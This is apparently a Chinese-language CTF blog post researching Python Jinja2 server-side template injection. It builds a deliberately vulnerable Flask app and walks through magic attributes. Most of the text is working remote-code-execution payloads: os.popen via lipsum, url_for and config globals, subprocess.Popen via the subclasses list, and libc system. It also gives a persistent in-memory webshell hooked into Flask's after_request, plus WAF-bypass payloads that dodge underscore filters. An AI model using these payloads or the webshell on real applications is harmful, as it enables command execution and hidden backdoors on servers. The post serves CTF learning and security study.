Post

Python SSTI研究

对CTF中基于Python(尤其是Jinja2)的模板引擎的注入研究

Python SSTI研究

SSTI

在Python中,SSTI经常与jinja2、Django、Mako、Tornado等模版引擎结合,其核心思想是利用模板引擎的核心机制和应用程序将不安全输入传递给模板的方式构造合适的payload以获取风险函数,如popen、system、eval等。

模版引擎

Python的模版引擎大多采用相同的语法结构,{% ... %}{{ ... }} 。前者用于执行诸如 for 循环或赋值的语句,后者把表达式的结果打印到模板上。

在本地编写一个含有SSTI漏洞的测试环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def hello_world(): 
    person = 'lmpr'
    if request.args.get('name'):
        person = request.args.get('name')
    template = '<h1>Hi, %s.</h1>' % person
    return render_template_string(template)

if __name__ == '__main__':
    app.run()

并命名为app.py,在当前地址启动服务:

1
python -m flask run

http://localhost:5000中可以看到页面,当前显示:

1
Hi, lmpr.

如果对name传入参数,服务器会给出新的渲染结果,一个测试可以知道这里有没有模版注入漏洞,如果我们请求:

1
http://localhost:5000?name={{2*2}}

如果返回:

1
Hi, 4.

说明传入的内容被当做模版引擎语言进行解析和运算,这就意味着这里可能存在SSTI。

需要注意的是,jinja2原生屏蔽符号+,测试时不要使用{{1+1}}等语句。

Python语言特性

Python认为万物皆为对象,这就为我们构造payload以利用SSTI提供了条件。Python是典型的面向对象语言,面向对象的特性就是封装、多态、继承。在构造payload中我们常用封装与继承。

Python认为所有类都有一个顶层基类<class 'Object'>,或者说所有类都直接或间接地是Object的子类。

每一个对象都有自己的“属性”,也就是变量。类实例化后的对象还有“方法”,也就是类中的函数。我们知道可以通过Obj.func()的方法来调用函数,Obj.var的方式来调用属性。

在Python中,每个类都有自己的内置属性,或者“魔术属性”,部分类有内置的“魔术方法”,他们不需要被显式的声明,在被实例化的时候就已经存在。

在 Python SSTI攻击与防御中,理解魔术属性和魔术方法至关重要。这些特殊成员是攻击者利用对象链进行沙箱逃逸的核心工具,也是防御者需要重点监控和限制的关键点。

常用的魔术属性

属性 作用 SSTI 风险 示例
__class__ 获取对象的类 一般的类对象攻击链起点,获取类对象 ''.__class__<class 'str'>
__bases__ 获取类的基类元组 访问继承树 str.__bases__(<class 'object'>,)
__base__ 获取第一个基类 快速访问基类 str.__base__<class 'object'>
__mro__ 方法解析顺序(继承链) 遍历继承关系 str.__mro__(str, object)
__subclasses__() 获取类的直接子类列表 极高危,访问所有加载的类 object.__subclasses__()
__mro__ 方法解析顺序(继承链) 遍历继承关系 str.__mro__(str, object)
__globals__ 获取函数所在模块的全局变量字典 极高危,访问模块全局变量 func.__globals__
__closure__ 获取函数的闭包变量 访问外层作用域变量 func.__closure__[0].cell_contents
__code__ 获取函数的字节码对象 泄露代码信息 func.__code__.co_filename
__builtins__ 内置函数和异常的集合 极高危,访问危险函数 __builtins__.__import__
__package__ 获取模块所属包名 泄露包结构信息 os.__package__
__spec__ 获取模块规范对象 泄露模块信息 os.__spec__.origin
__name__ 获取类/函数/模块名 识别关键对象 os.__name__
__qualname__ 获取限定名称 识别嵌套对象 Class.Method.__qualname__
__module__ 获取定义模块名 定位模块来源 func.__module__
__doc__ 获取文档字符串 泄露实现细节 os.system.__doc__

其中我们最常用的就是__globals____import__

__globals__实际是函数闭包机制的副产品。在Python编译函数时,会将函数所需的外部变量引用存储在__globals__中。它存在的意义是当函数访问非局部变量时,Python 需要知道去哪里查找,一个典型的__globals__可以形如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
    # === 系统自动添加 ===
    '__name__': 'my_module',
    '__doc__': None,
    '__package__': '',
    '__loader__': <_frozen_importlib_external.SourceFileLoader>,
    '__spec__': ModuleSpec(...),
    '__file__': '/project/my_module.py',
    '__cached__': '/project/__pycache__/my_module.cpython-38.pyc',
    '__builtins__': <module 'builtins'>,
    
    # === 用户显式导入 ===
    'os': <module 'os' from '/usr/lib/python3.8/os.py'>,
    'sys': <module 'sys' (built-in)>,
    'flask': <module 'flask' from '...'>,
    
    # === 用户定义内容 ===
    'APP_CONFIG': {'SECRET_KEY': '114514'},  
    'db_connection': <Connection object>,    
    'logger': <Logger my_module (WARNING)>,
    
    # === 函数和类 ===
    'my_function': <function my_function at 0x7f8e1c2b5ca0>,
    'HelperClass': <class 'my_module.HelperClass'>
}

常用的魔术方法

方法 调用时机 SSTI 风险
__new__(cls) 创建新实例时 控制对象创建过程
__init__(self) 对象初始化时 访问初始化上下文
__del__(self) 对象销毁时 潜在后门入口
__getattribute__(self, name) 所有属性访问时 属性访问总入口
__getattr__(self, name) 属性不存在时 动态属性处理
__setattr__(self, name, value) 设置属性时 修改对象状态
__dir__(self) dir()调用时 泄露可用属性
__call__(self) 对象被调用时 使任意对象可调用
__func__ 获取函数对象 访问底层函数
__closure__ 访问闭包变量 获取外层变量
__enter__(self) 进入上下文时 返回有风险的对象
__exit__(self) 退出上下文时 清理操作可能被利用
__import__(name) 动态导入模块 极高危,RCE核心
__reduce__(self) 序列化对象时 构造恶意序列化
__getstate__/__setstate__ 序列化控制 篡改序列化状态

常用全局对象

一些常见的,可在全局被调用的函数和对象可能成为我们构造payload的起点:

函数 来源 利用方式
lipsum Jinja2 经典跳板函数
range Python内置 生成序列用于遍历
dict Python内置 创建字典对象
cycler Jinja2 循环生成器
joiner Jinja2 字符串连接器
namespace Jinja2 创建命名空间
url_for Flask 高危跳板函数
get_flashed_messages Flask 类似跳板
config Flask 极高危,直接访问配置
request Flask 请求对象,泄露请求信息
session Flask 会话对象,读取/篡改会话
g Flask 访问上下文
current_app Flask 应用实例,高危,访问应用核心

Payload构造

首先要选取一个可以获取的全局对象,我们以lipsumconfig" "分别为例。

lipsum构造Payload

对于lipsum,当我们在注入点输入{{lipsum}}时可以得到回显:

1
Hi, <function generate_lorem_ipsum at 0x7f91fe6951c0>.

这代表我们利用的是一个全局的函数对象。那么对于函数对象就可以直接使用__globals__这个魔术属性获取全局上下文,我们编写{{lipsum.__globals__}}得到回显:

1
2
3
4
5
6
Hi, {'__name__': 'jinja2.utils', '__doc__': None, '__package__': 'jinja2', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f91fe676840>, '__spec__': ModuleSpec(name='jinja2.utils', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f91fe676840>, origin='/mnt/e/ctfTools/ctfenv/lib/python3.12/site-packages/jinja2/utils.py'), '__file__': '/mnt/e/ctfTools/ctfenv/lib/python3.12/site-packages/jinja2/utils.py', '__cached__': '/mnt/e/ctfTools/ctfenv/lib/python3.12/site-packages/jinja2/__pycache__/utils.cpython-312.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': 
...
function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice
...
, file "/mnt/e/ctfTools/ctfenv/lib/python3.12/site-packages/jinja2/runtime.py", line 852>, <code object compile at 0x7f91fe6481f0, file "/mnt/e/ctfTools/ctfenv/lib/python3.12/site-packages/jinja2/environment.py", line 731>}, 'concat': <built-in method join of str object at 0xb3c770>, 'pass_context': <function pass_context at 0x7f91fe6947c0>, 'pass_eval_context': <function pass_eval_context at 0x7f91fe6949a0>, 'pass_environment': <function pass_environment at 0x7f91fe694a40>, '_PassArg': <enum '_PassArg'>, 'internalcode': <f
...

许多Web框架会隐式导入os模块,用于处理文件路径、环境变量等,在一般情况下如果我们能在global中发现:

1
'os': <module 'os' (frozen)>

就说明我们可以利用os模块,紧接着我们就可以调用os模块,因为这个魔术属性__globals__是字典,所以我们可以{{lipsum.__globals__['os']}}或者{{lipsum.__globals__.__getitem__('os')}}

1
Hi, <module 'os' (frozen)>.

我们可以通过{{lipsum.__globals__['os'].__dir__()}}查看可用属性:

1
2
3
Hi, ['__name__', '__doc__', '
...
awnvpe', 'spawnl', 'spawnle', 'spawnlp', 'spawnlpe', 'popen', '_wrap_close', 'fdopen', '_fspath', 'PathLike'].

我们发现了风险函数popen,于是就有了经典的payload:

{{lipsum.__globals__['os'].popen('whoami').read()}}

注意这里需要.read()来保证回显。

类似地,我们还可以用全局函数url_for来构造相同的payload:

{{url_for.__globals__.os.popen('ls').read()}}
{{get_flashed_messages.__globals__['os'].popen('dir').read()}}

config构造Payload

对于config,当我们在注入点输入{{config}}时可以得到回显为一长串字符,这根前面的情况都不一样。这是因为config是一个类对象,调用其本身会自动触发to String方法,因此我们可以通过__class__返回它的类,{{config.__class__}}

1
Hi, <class 'flask.ctx._AppCtxGlobals'>.

我们依然希望仿照上面的方法,去获取一个函数的__globals__属性从而得到风险函数,因此我们希望获取一个类中的函数。

一般来说,类有许多自带的魔术方法可以利用,比如={{config.__class__.__init__}}就会返回:

Hi, <function Config.__init__ at 0x7f91fe6304a0>.

这样我们就有了和上面一样的思路,因此我们构造有payload:

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

然而很多时候事实并非都如我们所愿,如果我们举一反三,尝试使用其他魔术方法比如__str__,构造一个payload{{config.__class__.__str__}},我们会发现有回显:

1
Hi, <slot wrapper '__str__' of 'object' objects>.

这和我们使用init时有显著差异,当我们继续换一个魔术方法__call__时,{{config.__class__.__call__}}又会有:

1
Hi, <method-wrapper '__call__' of type object at 0x1b137e10>.

如果我们继续在此基础上尝试获取globals属性,结果会发现没有回显。

同样的问题还会出现在其他对象上,根据前一节的研究,还有很多暴露的全局对象,比如g,当我们试图调用g的init时也会有上述问题。而这是因为,在Python中,带有”wrapper”字样的函数通常是装饰器(decorator)生成的包装函数。这些包装函数在创建时,其__globals__属性通常指向的是装饰器所在模块的全局字典,而不是原始函数所在模块的全局字典,即使包装函数有自己的__globals__,它可能并不包含我们期望的模块(比如os),因为装饰器可能定义在一个与原始函数不同的模块中。

类型 描述 示例
slot wrapper 内置类型的 C 实现方法 str.strip, list.append
method-wrapper 特殊方法的包装器 __init__, __call__
builtin_function_or_method 内置函数/方法 len, print
wrapper_descriptor 描述符协议包装器 __get__, __set__

除此之外,一些不需要被用户重写的Python内置方法,比如__dir__会存在访问受限,因而也不可获取__globals__。因而在SSTI攻击中,我们通常会避免使用这些包装函数,而是寻找一个普通的、非内置的、非包装的函数来获取__globals__

__builtins__的利用

在Python中,__builtins__是一个特殊的模块或字典,它包含了内置的函数、异常和类型。在全局作用域中,__builtins__通常是对内置命名空间的引用。在大多数Python环境中,__builtins__builtins模块(Python 3)或 __builtin__模块(Python 2)的引用。

例如我们希望利用全局类对象request来获取风险函数,很流畅地进入了{{request.__class__.__init__.__globals__}},然而我们发现其globals中并不存在os模块。于是我们考虑换一种方式来导入os模块。我们可以发现在globals中的builtins中含有另一个风险函数eval,我们可以利用eval执行风险python语句从而间接导入os模块,于是就有payload:

{{request.__class__.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

一般化Payload构造

如果上述的情况都无法使用,我们只好考虑用唯一能获取的对象来曲线救国。我们知道Python的基本数据类型也会有相应的对象,类似地,我们可以有如下方法获得<class 'Object'>

1
2
3
4
{{0.__class__.__base__}}
{{''.__class__.__bases[0]__}}
{{"".__class__.__mro[0]__}}
{{g.__class__.__base__}}

接着我们会用到一个特殊的魔术方法以返回Object的所有子类:

1
{{"".__class__.__bases__[0].__subclasses__()}}

需要注意的是,这个方法返回的是数组而不是字典,这意味着我们无法通过键值对的方式访问对应的类,只能通过数字索引的方式来获取对应的类。这就是SSTI中最传统的方式,由于每个服务器上Python环境都不同,所以含有风险函数的类的索引也不同,因此我们不能盲目的使用以前的payload。下面给出了一个能够获取数字索引的payload:

{% set classes = range.__class__.__base__.__subclasses__() %}
{% for class in classes %}
{{ loop.index0 }}: {{ class.__name__ }} ({{ class.__module__ }})
{% endfor %}

利用这个payload我们能获取到一些类。

接下来就是获取该类的方法,然后获取该方法的globals属性,观察有无os或者builtins,这是一项浩瀚的工程,可以借助脚本,也可以记住一些常见的能获取到风险函数的类。

例如在我本地执行上述payload后:

1
2
3
Hi, 0: type (builtins)1: async_generator (builtins)2: bytearray_iterator (builtins)
...
532: StreamWrapper (colorama.ansitowin32)533: AnsiToWin32 (colorama.ansitowin32)534: CompletedProcess (subprocess)535: Popen (subprocess).

我发现535是Popen,这个类的名字带有强烈的暗示性,所以我选择这个索引并查看它的init方法:

1
Hi, <function Popen.__init__ at 0x7f91fe4528e0>.

说明它存在globals属性,于是读取globals属性,最终发现os模块,因而有payload:

{{range.__class__.__base__.__subclasses__()[535].__init__.__globals__.os.popen("whoami").read()}}

一般来说,在绝大多数环境下,这些类经常被使用:

1
2
3
4
5
6
os._wrap_close
warnings.WarningMessage
_frozen_importlib.BuiltinImporter
subprocess.Popen
ctypes.CDLL
codecs.StreamReaderWriter

讲到此处我们可以触类旁通地发现,SSTI不只有一种方法去执行,如果我们获取的类本身就足够有特点,那么也不必拘泥于常规。

特殊化Payload构造

以刚刚用过的subprocess.Popen为例,我们可以直接使用这个类创建一个对象,并只需要使用这个类即可:

{{''.__class__.__bases__[0].__subclasses__()[535]('ls', shell=True, stdout=-1).communicate()[0]}}

这样我们就绕过了使用__globals__,直接利用类特性就实现了RCE。

此外,我还发现在CDLL中存在引入libc直接执行命令的方式:

{{range.__class__.__base__.__subclasses__()[526](%27libc.so.6%27).system(%27whoami%27)}}

然而这种方式似乎因为权限问题或者环境变量问题无法正常使用,需要等待后续研究。

内存马

内存马是一种木马,在含有SSTI的地方选择如下payload可以打上内存马。通常用于网页无回显但可以判定为存在SSTI的时候。

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

对于这段payload可以拆开解析:

{{ 
    url_for.__globals__['__builtins__']['eval'](
        "app.after_request_funcs.setdefault(None, []).append(\n"
        "    lambda resp: \n"
        "        CmdResp if request.args.get('cmd') \n"
        "        and exec(\n"
        "            \"global CmdResp; CmdResp = __import__('flask').make_response(\"\n"
        "            \"__import__('os').popen(request.args.get('cmd')).read())\"\n"
        "        ) == None \n"
        "        else resp\n"
        ")",
        {
            'request': url_for.__globals__['request'],
            'app': url_for.__globals__['current_app']
        }
    ) 
}}

详情可见:

https://mixbp.github.io/2025/04/16/python%E5%86%85%E5%AD%98%E9%A9%AC/

https://xz.aliyun.com/news/13858

https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/flask%E4%B8%8D%E5%87%BA%E7%BD%91%E5%9B%9E%E6%98%BE%E6%96%B9%E5%BC%8F/

https://xz.aliyun.com/news/10381

WAF绕过

真实环境或者题目环境下会存在许多输入限制,防止你注入,有很多师傅在禁止输入和反禁止输入上有了很多奇技淫巧,叹为观止。前人之述备矣,我的研究也不是很充分,下面是一些比较完善的WAF绕过方法:

https://chenlvtang.top/2021/03/31/SSTI%E8%BF%9B%E9%98%B6/

https://xz.aliyun.com/news/7341

SSTI模板注入详细总结及WAF绕过-CSDN博客

''|attr("__class__")等效于''.__class__,要使用xxx.os('xxx')类似的方法,可以使用xxx|attr("os")('xxx')。即.等价于|attr()

使用flask里的lipsum方法来执行命令:flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块

可以得到lipsum|attr("__globals__")

1
{{lipsum.__globals__['os']['popen']('ls').read()}}

{% print %} 能在 Flask 模板中输出内容,本质是利用了 Jinja2 允许在 {% %} 标签中执行 Python 表达式的特性,通过调用 Python 内置的 print 函数将内容输出到渲染结果中。

1
{{"".__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls").read()}}
1
{{"".__class__.__base__.__subclasses__()[117].__init__.__globals__['builtins']['eval']("__import__.('os').popen('ls').read()")}}
1
{{url_for.__globals__.os.popen('ls').read()}}
1
{%print(lipsum|attr("_"+"_glo"+"bals_"+"_")|attr("_"+"_getitem_"+"_")("os")|attr("popen")("cat ../f*")|attr("read")())%}
  • request方法绕过:

request在flask中可以访问基于 HTTP 请求传递的所有信息,这里的request并非python的函数,而是在flask内部的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
request.args.key  #获取get传入的key的值

request.form.key  #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)

reguest.values.key  #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get

request.cookies.key  #获取cookies传入参数

request.headers.key  #获取请求头请求参数

request.data  #获取post传入参数(Content-Type:a/b)

request.json  #获取post传入json参数 (Content-Type: application/json)

payload参考https://www.nssctf.cn/note/set/14423

报错的HTML结构框架: Flask:蓝色调试页,显示完整堆栈 Django:黄色调试页,显示详细设置 Bottle:仅基础HTML+少量CSS

[GHCTF 2025]Message in a Bottle

这是个非常好的题,是python意义上的XSS。

1
2
3
{% set po=dict(po=a,p=b)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{%print(lipsum|attr(a+a+'glo'+'bals'+a+a)|attr(a+a+'ge'+'titem'+a+a)('o'+'s')|attr('po'+'pen')('tac /f*')|attr('read')())%}

用于下划线绕过

This post is licensed under CC BY 4.0 by the author.